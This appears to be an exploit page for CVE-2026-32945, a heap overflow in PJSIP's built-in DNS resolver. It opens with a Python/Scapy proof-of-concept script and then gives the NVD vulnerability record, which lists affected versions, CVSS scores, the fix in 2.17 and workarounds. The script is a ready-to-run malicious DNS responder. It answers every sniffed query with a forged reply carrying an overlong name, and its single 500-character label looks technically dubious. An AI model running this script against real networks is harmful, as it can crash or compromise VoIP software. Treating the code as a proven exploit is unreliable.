CVE-2026-32945

#!/usr/bin/env python3 """ PoC for CVE-2026-32945 (PJSIP DNS Parser Heap Overflow) This script simulates a malicious DNS server response to trigger the overflow. """ from scapy.all import * def send_malicious_dns(pkt): if pkt.haslayer(DNSQR): print(f"[+] Received DNS query from {pkt[IP].src}") # Construct a DNS response with an overly long name to trigger heap overflow # PJSIP fails to check the length of the name in the response overflow_len = 500 malicious_name = "A" * overflow_len + ".com" # Craft the DNS Response ip = IP(dst=pkt[IP].src, src=pkt[IP].dst) udp = UDP(dport=pkt[UDP].sport, sport=53) dns = DNS( id=pkt[DNS].id, qr=1, # Response aa=1, # Authoritative qd=pkt[DNS].qd, an=DNSRR( rrname=malicious_name, type="A", ttl=10, rdata="6.6.6.6" ) ) try: send(ip/udp/dns, verbose=0) print("[!] Sent malicious DNS response payload") except Exception as e: print(f"[-] Error sending packet: {e}") # Sniff for DNS queries on port 53 and respond if __name__ == "__main__": print("[*] Starting malicious DNS responder for CVE-2026-32945...") sniff(filter="udp port 53", prn=send_malicious_dns)

{"cve": {"id": "CVE-2026-32945", "sourceIdentifier": "[email protected]", "published": "2026-03-20T04:16:49.927", "lastModified": "2026-03-23T20:54:34.997", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "PJSIP is a free and open source multimedia communication library written in C. Versions 2.16 and below have a Heap-based Buffer Overflowvulnerability in the DNS parser's name length handler. Thisimpacts applications using PJSIP's built-in DNS resolver, such as those configured with pjsua_config.nameserver or UaConfig.nameserver in PJSUA/PJSUA2. It does not affect users who rely on the OS resolver (e.g., getaddrinfo()) by not configuring a nameserver, or those using an external resolver via pjsip_resolver_set_ext_resolver(). This issue is fixed in version 2.17. For users unable to upgrade, a workaround is to disable DNS resolution in the PJSIP config (by setting nameserver_count to zero) or to use an external resolver implementation instead."}, {"lang": "es", "value": "PJSIP es una biblioteca de comunicación multimedia de código abierto y gratuita escrita en C. Las versiones 2.16 e inferiores tienen una vulnerabilidad de desbordamiento de búfer basado en montón (Heap-based Buffer Overflow) en el gestor de longitud de nombre del analizador DNS. Esto afecta a las aplicaciones que utilizan el resolvedor DNS integrado de PJSIP, como aquellas configuradas con pjsua_config.nameserver o UaConfig.nameserver en PJSUA/PJSUA2. No afecta a los usuarios que dependen del resolvedor del sistema operativo (por ejemplo, getaddrinfo()) al no configurar un servidor de nombres, o a aquellos que utilizan un resolvedor externo a través de pjsip_resolver_set_ext_resolver(). Este problema está solucionado en la versión 2.17. Para los usuarios que no pueden actualizar, una solución alternativa es deshabilitar la resolución DNS en la configuración de PJSIP (estableciendo nameserver_count en cero) o utilizar una implementación de resolvedor externo en su lugar."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:L/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-122"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:pjsip:pjsip:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.17", "matchCriteriaId": "117AFEC4-36E1-424F-B2A3-6EC94FBBDF38"}]}]}], "references": [{"url": "https://github.com/pjsip/pjproject/commit/5311aee398ae9d623829a6bad7b679a193c9e199", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/pjsip/pjproject/security/advisories/GHSA-jr2p-p2w4-rr9q", "source": "[email protected]", "tags": ["Mitigation", "Patch", "Vendor Advisory"]}]}}